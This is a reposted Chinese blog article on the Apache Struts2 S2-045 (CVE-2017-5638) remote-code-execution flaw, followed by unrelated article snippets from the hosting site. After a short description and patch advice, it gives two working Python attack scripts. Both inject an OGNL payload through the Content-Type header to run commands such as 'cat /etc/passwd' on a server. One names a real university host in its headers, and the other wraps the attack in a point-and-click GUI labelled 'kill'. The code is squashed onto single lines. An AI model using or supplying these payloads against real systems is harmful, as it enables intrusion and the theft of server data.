struts2的漏洞

文章前半部分來自團隊小伙伴阿德馬的總結,后半部分的Poc和Exp是小編匆忙之際借鑒而來,感謝寫Poc和Exp的伙伴~

安恒給官方上報的,然后官方選擇了1個對國內來說比較敏感的時期發了公告出來,好蛋疼。

該漏洞的CVE編號是CVE-2017-5638(s2-045),攻擊者利用該漏洞可以進行遠程命令執行,從而獲取更高的服務器權限。

漏洞描述:

查了點資料,發現跟struts2配置中struts.multipart.handler的設置有關,默認使用的就是Jakarta對應類org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest。也就是說struts2的此項設置使用了默認配置就會存在該漏洞。

攻擊者通過修改http請求頭中的Content-Type的值來觸發該漏洞,進而執行命令獲取更高的系統權限。

如圖所示:

?

上圖是使用了測試用poc對被攻擊服務器執行了”whoami”的命令。

漏洞影響范圍:

Struts 2.3.5 – Struts 2.3.3

Struts 2.5 – Struts 2.5.10

修復建議:

升級到Struts 2.3.32 或者 Struts 2.5.10.1(穩妥方法)

或者在struts2配置中修改struts.multipart.handler的配置(個人理解,未測試)

?

再貼個預警郵件,大家就都不用寫了:

HI,ALL:

Apache Struts2又爆出了新的遠程命令執行漏洞,對應CVE編號是CVE-2017-5638,請對受影響的struts2 版本進行升級處理。

Poc:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersheader1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"alumnus.shu.edu.cn",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}def poc():register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]='''%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'''request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)response = urllib2.urlopen(request)print response.read()poc()

Exp:

#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersclass START():def __init__(self,root):self.root=rootself.show_W_Text = Text()self.show_url_ed = Label(root, text="str2")self.edit_url = Entry(root, text="輸入地址")self.butt_whois = Button(root, text="kill",command=self.poc)self.show_url_ed.pack()self.edit_url.pack()self.butt_whois.pack()self.show_W_Text.pack()def poc(self):w_url = self.edit_url.get()text = self.show_W_Textregister_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request = urllib2.Request(w_url, datagen, headers=header)response = urllib2.urlopen(request).read()text.insert(1.0, response)if __name__ == '__main__':root=Tk()root.title("str2 045")motion=START(root)mainloop()

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/387762.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/387762.shtml
英文地址,請注明出處:http://en.pswp.cn/news/387762.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java Statement PK PrepareStatement

PreparedStatement是用來執行SQL查詢語句的API之一,Java提供了 Statement、PreparedStatement 和 CallableStatement三種方式來執行查詢語句,其中 Statement 用于通用查詢, PreparedStatement 用于執行參數化查詢,而 CallableStat…

mysql在linux 下安裝

安裝環境:系統是 centos6.5 1、下載 下載地址:http://dev.mysql.com/downloads/mysql/5.6.html#downloads 下載版本:我這里選擇的5.6.33,通用版,linux下64位 也可以直接復制64位的下載地址,通過命令下載&a…

Leetcode PHP題解--D47 868. Binary Gap

2019獨角獸企業重金招聘Python工程師標準>>> D47 868. Binary Gap 題目鏈接 868. Binary Gap 題目分析 給定一個數字,計算其二進制表示中,出現的兩個1最大距離。 思路 當然是先轉換成二進制了。再進行遍歷。 當只有一個1時,返回0。…

[洛谷P5048][Ynoi2019模擬賽]Yuno loves sqrt technology III

題目大意:有$n(n\leqslant5\times10^5)$個數,$m(m\leqslant5\times10^5)$個詢問,每個詢問問區間$[l,r]$中眾數的出現次數 題解:分塊,設塊大小為$S$,先可以預處理出兩兩塊之間的眾數出現次數,復雜…

C#接口實現多態

我比較喜歡對感興趣的理論進行反復的理解甚至理解背誦下來,接下來再復習一下什么叫多態(哈哈哈) 多態:在同一粒度視圖下對相同類型的事物不做區別的統一處理 接下來看一下接口和引擎類是如何實現多態的: 一、 1、創建了…

docker 網絡 不好用 docker: Error response from daemon: failed to create endpoint jovial_wing on network b

啟動容器時,有可能會遇到如下問題,比如啟動redis容器: sudo docker run -d -p 6379:6379 --name redis redis:latest Linux代碼docker: Error response from daemon: failed to create endpoint redis on network bridge: iptables failed: …

hadoop-hdfs-存儲模型-架構模型-角色介紹

轉載于:https://www.cnblogs.com/LXL616/p/10803978.html

docker 鏡像 導入導出

很喜歡玩docker,但最新遇到一個問題,公司給的新機器的dns有問題,導致pull不下來鏡像。 沒辦法了,沒有鏡像什么神馬都干不了,又不能花很多時間去搭建私有的鏡像庫,只有另尋辦法了。 廢話少說,經…

使用Nginx+uWSGI部署Django項目

1.linux安裝python3環境 參考鏈接:https://www.cnblogs.com/zzqit/p/10087680.html 2.安裝uwsgi pip3 install uwsgiln -s /usr/local/python3/bin/uwsgi /usr/local/bin/uwsgi #建立軟鏈接uwsgi --version #檢查安裝成功 3.基于uwsgidjango項目部署 django項目目…

Nagios使用check_mysql_health插件監控Mysql主機

基本信息 Nagios:Nagios core 4.4.3Nagios Plugins:check_mysql_health 2.2.2Mysql-server: 192.168.0.91db user:db操作流程:下載插件->安裝插件->配置command->添加主機->添加服務安裝插件 下載 wget https://labs.…

lsof使用

簡介 lsof(list open files)是一個列出當前系統打開文件的工具。在linux環境下,任何事物都以文件的形式存在,通過文件不僅僅可以訪問常規數據,還可以訪問網絡連接和硬件。所以如傳輸控制協議 (TCP) 和用戶數據報協議 (UDP) 套接字等&#xf…

解題:2017清華集訓 無限之環

題面 費用流 把每種水管再拆出來四個方向的接頭,然后根據水管的形狀連出旋轉時的代價。最后黑白染色成二分圖,然后白點對應的接頭向黑點對應的接頭連邊,源點向白點自己連邊,黑點自己向匯點連邊。 怎么連邊?我是大力討論…

Node.js學習之(第二章:exports和module.exports)

前言 Node中,每個模塊都有一個exports接口對象,我們需要把公共的方法或者字符串掛載在這個接口對象中,其他的模塊才可以使用。 Node.js中只有模塊作用域,默認兩個模塊之間的變量,方法互不沖突,互不影響&…

docker命令及掛載

常用命令所有鏡像:docker images當前執行:docker ps提交保存docker容器: docker commit進入到對應服務:docker attach <container id>已經執行帶容器:docker ps -l根據名稱啟動通過8081端口察看docker容器里的8080:docker run -i -t -d -p 8081:8080 -p23:22 ubuntu:ubun…

列表,元組,字典類的常見簡單方法

一.列表&#xff08;list類&#xff09; 1.append&#xff08;&#xff09;&#xff1a;追加一個參數&#xff0c;參數可以為字符串&#xff0c;數字或列表等&#xff0c;將參數視為一個整體 2.clear&#xff08;&#xff09;&#xff1a;直接清空列表里的所有 3.count&#xf…

與圖論的邂逅05:最近公共祖先LCA

什么是LCA&#xff1f; 祖先鏈 對于一棵樹T&#xff0c;若它的根節點是r&#xff0c;對于任意一個樹上的節點x&#xff0c;從r走到x的路徑是唯一的(顯然)&#xff0c;那么這條路徑上的點都是并且只有這些點是x的祖先。這些點組成的鏈(或者說路徑)就是x的祖先鏈。 LCA 根據名字來…

MAC地址進行驗證的方法

需要對對應的MAC地址進行驗證的方法&#xff0c;以為很簡單就能過&#xff0c;鼓搗了半天以后才發現&#xff0c;我的機器是window7&#xff0c;查詢出來是亂碼&#xff0c;居然不給支持。沒辦法在網上繼續找資料。終于找到了&#xff0c;貼上來&#xff0c;以備不時之需。 東西…

JAVA 分布式環境 Redis互斥鎖

開始的時候項目沒有添加互斥鎖&#xff0c;用的依然是老的思路&#xff0c;在并發量增加的情況下&#xff0c;遇到了很多的問題&#xff0c;包括數據庫重復讀等&#xff0c;想了下考慮增加 互斥鎖來排序對單個資源的操作。 Target(ElementType.METHOD) Retention(RetentionPoli…

相機添加多張圖片css布局

<section class"feedback-upload"><aside class"photos"><div></div><div class"camera"></div></aside><aside class"tips"><div><span>選填0~4</span></div&…

移動端滑動操作學習

(function(window,document){var Slide function(box,judge,fun){if (!(this instanceof Slide)) return new Slide(box,judge,fun);var startx,starty;box.addEventListener("touchstart", function(e) {e.preventDefault(); // 阻止瀏覽器默認事件startx parseIn…